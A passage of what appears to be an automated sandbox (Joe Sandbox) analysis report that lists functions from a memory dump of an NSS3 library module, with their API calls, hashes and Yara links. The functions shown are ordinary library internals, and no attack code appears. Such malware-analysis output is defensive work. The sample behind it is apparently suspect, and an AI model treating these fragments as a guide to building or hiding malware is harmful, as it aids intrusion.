Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CEAED02

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CEAED5A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 1ef62e992804b61836b8cce625fb3bceaf5ec84001facd994d3d8ed30beb838c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1121C2B1A00B425FE700CF25DA44B62B7F4AFA430CF258219E81C8B761E770E5A5C6D0

Function 6CEDEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEE14

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

memcpy.VCRUNTIME140(?,?,6CEC9767,00000000,00000000,6CEC7FFA,?,6CEC9767,?,8B7874C0,0000A48E), ref: 6CEDEE33

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: e58d4a09192306fb5b4d80331085bf2aaa6a1677f0bc5757d0e6c22397902bf5
Instruction ID: 77f5a325dbe0d6015083aba68a2b4aaecae824ed679691ef0e6041dbb9fa5117
Opcode Fuzzy Hash: e58d4a09192306fb5b4d80331085bf2aaa6a1677f0bc5757d0e6c22397902bf5
Instruction Fuzzy Hash: C71182B1A00B07ABE7109E65DD88B06F3B8EB0035DF314525ED1983A40E731F45587E1

Function 6CE5DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE706A0: TlsGetValue.KERNEL32 ref: 6CE706C2
Part of subcall function 6CE706A0: EnterCriticalSection.KERNEL32(?), ref: 6CE706D6
Part of subcall function 6CE706A0: PR_Unlock.NSS3 ref: 6CE706EB

CERT_NewCertList.NSS3 ref: 6CE5DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE5DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE5DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5E029

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 2dc387fa1aec94ef8d0f0b2477b1221d8b26a5ac07882f7aa3aaba9b0e199ab4
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 12116F71A00A066BEB101EA85C00BAB76B8EB4535CFB40538E918C7B00F73BC83593E1

Function 6CE78DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE78DE7
EnterCriticalSection.KERNEL32 ref: 6CE78DFC
PR_Unlock.NSS3 ref: 6CE78E2D
PR_SetError.NSS3 ref: 6CE78E49

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b6076d23ffc3bc005e8bb6c0a3988a59025e1ad9b6288fb7dc07a277bb530b5a
Instruction ID: 0d461c4e0c8b837ec7a5c131f338c96f899d6570d69a83fffc061a7a56302231
Opcode Fuzzy Hash: b6076d23ffc3bc005e8bb6c0a3988a59025e1ad9b6288fb7dc07a277bb530b5a
Instruction Fuzzy Hash: 9A11BF71A04A009BD750AF78D488269BBF4FF05354F11492ADC88D7B00E730E854CBD2

Function 6CEFAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CEE5F17,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CEE5F17,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CEEAAD4), ref: 6CEFACDB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 2cd32886af99f5070fdbf9ccf46a07aacb750365788d927efb5f6de562c4aef5
Instruction ID: c32a31b160031a7d45b2f65ad2e870ff67f71ecc9e1a0bf8ccb912d318c1befb
Opcode Fuzzy Hash: 2cd32886af99f5070fdbf9ccf46a07aacb750365788d927efb5f6de562c4aef5
Instruction Fuzzy Hash: 7E018CB5B01B029BE750DF69E918757B7F8BF00659B204839D86AC7B00E731F015CB90

Function 6CE61DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE61DFB

Part of subcall function 6CE595B0: TlsGetValue.KERNEL32(00000000,?,6CE700D2,00000000), ref: 6CE595D2
Part of subcall function 6CE595B0: EnterCriticalSection.KERNEL32(?,?,?,6CE700D2,00000000), ref: 6CE595E7
Part of subcall function 6CE595B0: PR_Unlock.NSS3(?,?,?,?,6CE700D2,00000000), ref: 6CE59605

PR_EnterMonitor.NSS3 ref: 6CE61E09

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE5E190: PR_EnterMonitor.NSS3(?,?,6CE5E175), ref: 6CE5E19C
Part of subcall function 6CE5E190: PR_EnterMonitor.NSS3(6CE5E175), ref: 6CE5E1AA
Part of subcall function 6CE5E190: PR_ExitMonitor.NSS3 ref: 6CE5E208
Part of subcall function 6CE5E190: PL_HashTableRemove.NSS3(?), ref: 6CE5E219
Part of subcall function 6CE5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE5E231
Part of subcall function 6CE5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE5E249
Part of subcall function 6CE5E190: PR_ExitMonitor.NSS3 ref: 6CE5E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61E37
PR_ExitMonitor.NSS3 ref: 6CE61E4A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: aa1425320091432790eff10ce97cd9e2d8d0f8623a29c09e5b135c34701f76e9
Instruction ID: 4dad027e3b5646e056e64bc40063068605a6d198372980d71a24f3e8af8af850
Opcode Fuzzy Hash: aa1425320091432790eff10ce97cd9e2d8d0f8623a29c09e5b135c34701f76e9
Instruction Fuzzy Hash: 350126B1BA015097EB014BABED40F4277B4AB52B4CF300035E81997F91E772E825CBD2

Function 6CE61D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE61D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE61D9C
free.MOZGLUE(00000000), ref: 6CE61DB8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: d8bba4a0e832020b1da2bf222e5f130b075bd788c7f26fcb1994826e494eab5e
Instruction ID: 4a738bff4e1b5bd2f38250e01b501355f6b7a00184fb2f4c6f9a3fd7f0dfec07
Opcode Fuzzy Hash: d8bba4a0e832020b1da2bf222e5f130b075bd788c7f26fcb1994826e494eab5e
Instruction Fuzzy Hash: F4F026B2A9120057FB111A9BED42B5632789B8169DF300239D91887F40D631E40182E1

Function 6CEAFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4
free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: bf15f2ae2559e0bb5f3598c3df5770ffc9f8c597ddf4f9939649b736d0e2d330
Instruction ID: 5f56d738b93efcb70f5ffb0cfad6a7b755606bd4d6d6ff4a9fcee9e461573771
Opcode Fuzzy Hash: bf15f2ae2559e0bb5f3598c3df5770ffc9f8c597ddf4f9939649b736d0e2d330
Instruction Fuzzy Hash: FEF0C8F66022029FEF014B95ED90A27B778EF4529DB248134ED098EB01E731E816C7E1

Function 6CF6CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF6CC61
free.MOZGLUE ref: 6CF6CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF6CC80
free.MOZGLUE(?), ref: 6CF6CC87

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 639b25f3786c3d896fd3af43734817854574c1a099210ce0f144a0d07c6c2cba
Instruction ID: 2cff5adb67858d06a3b20d5ebf7d53b04743351790d4b6443b28519306c75eea
Opcode Fuzzy Hash: 639b25f3786c3d896fd3af43734817854574c1a099210ce0f144a0d07c6c2cba
Instruction Fuzzy Hash: 1EE030767006089BCA10EFA8DC4488AB7ACEE492703150525E691C3700D232F905CBA1

Function 6CE49DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE49E1F

Part of subcall function 6CE013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDD2352,?,00000000,?,?), ref: 6CE01413
Part of subcall function 6CE013C0: memcpy.VCRUNTIME140(00000000,6CDD2352,00000002,?,?,?,?,6CDD2352,?,00000000,?,?), ref: 6CE014C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE49F78
LIKE or GLOB pattern too complex, xrefs: 6CE4A006

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: c3c4b97488c84eb21fe8caefd4c64bd93edb588c4219eccaf343e21b8eda2a64
Instruction ID: 653045c8de832c534b7989268adbc335f8e08a9031ac027382e6f123c47a4f6c
Opcode Fuzzy Hash: c3c4b97488c84eb21fe8caefd4c64bd93edb588c4219eccaf343e21b8eda2a64
Instruction Fuzzy Hash: 5D811870A042518BD700CF29D1817BAB7F6AF8532CF38C659D8A5ABB81D736D846C790

Function 6CEA4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEA4DE6

Strings

%d.%d, xrefs: 6CEA4DDE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: e512bb8fed5dec1d5bc060f778fdad82b486b78d6cd2431ce4e21411a5326425
Instruction ID: 0eff55e0a6df489059186802f6d4e57392b174a80a321d33c6d5a583bd19516b
Opcode Fuzzy Hash: e512bb8fed5dec1d5bc060f778fdad82b486b78d6cd2431ce4e21411a5326425
Instruction Fuzzy Hash: 8031C5B2D042186FEB509BE19C01BFF7A78EF41308F250469ED159F781EB319906CBA2

Function 6CEC4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEC3827,?,00000000), ref: 6CEC4D0A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEC4D22

Part of subcall function 6CEAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE51A3E,00000048,00000054), ref: 6CEAFD56

Strings

'8l, xrefs: 6CEC4D07

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: f35f62a3b838504b53b126217ca8265e0ee5b9414788e14ecc96b50e5344697e
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 8BF0687270112857DB105D6A9E407673AFC9B4177DF351272DD38DB791E631DC018693

Function 6CEEAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CEEAF78

Part of subcall function 6CE4ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4ACE2
Part of subcall function 6CE4ACC0: malloc.MOZGLUE(00000001), ref: 6CE4ACEC
Part of subcall function 6CE4ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4AD02
Part of subcall function 6CE4ACC0: TlsGetValue.KERNEL32 ref: 6CE4AD3C
Part of subcall function 6CE4ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE4AD8C
Part of subcall function 6CE4ACC0: PR_Unlock.NSS3 ref: 6CE4ADC0
Part of subcall function 6CE4ACC0: PR_Unlock.NSS3 ref: 6CE4AE8C
Part of subcall function 6CE4ACC0: free.MOZGLUE(?), ref: 6CE4AEAB

memcpy.VCRUNTIME140(6CFB3084,6CFB02AC,00000090), ref: 6CEEAF94

Strings

SSL, xrefs: 6CEEAF73

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 8a7edc41fe8122a00ae228de30b99bed491a95318ea7e123a8b477f63e618473
Instruction ID: 89e956a0487d8a989ed002c8693005596c14abbd300802835baf1fadb3a64827
Opcode Fuzzy Hash: 8a7edc41fe8122a00ae228de30b99bed491a95318ea7e123a8b477f63e618473
Instruction Fuzzy Hash: E2216DB2FA5B899BCA81DF51A4833167E71BB0A2CC7205118C5190BF28EB31504C9F9D

Function 6CE40F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B

Part of subcall function 6CE41370: GetSystemInfo.KERNEL32(?,?,?,?,6CE40936,?,6CE40F20,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000), ref: 6CE4138F

PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

Part of subcall function 6CE41110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001,00000040), ref: 6CE41130
Part of subcall function 6CE41110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001,00000040), ref: 6CE41142
Part of subcall function 6CE41110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001), ref: 6CE41167

Strings

clock, xrefs: 6CE40F20

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c1ff5c5670ce654d7d06037bdaa620ac1d5c5b2bcf4dce2a500dab425d92d95c
Instruction ID: 67da5a6bc26c480a9d7d700ca44acc2f9eb03f36e1a14fc6f2a2c3cd094cf423
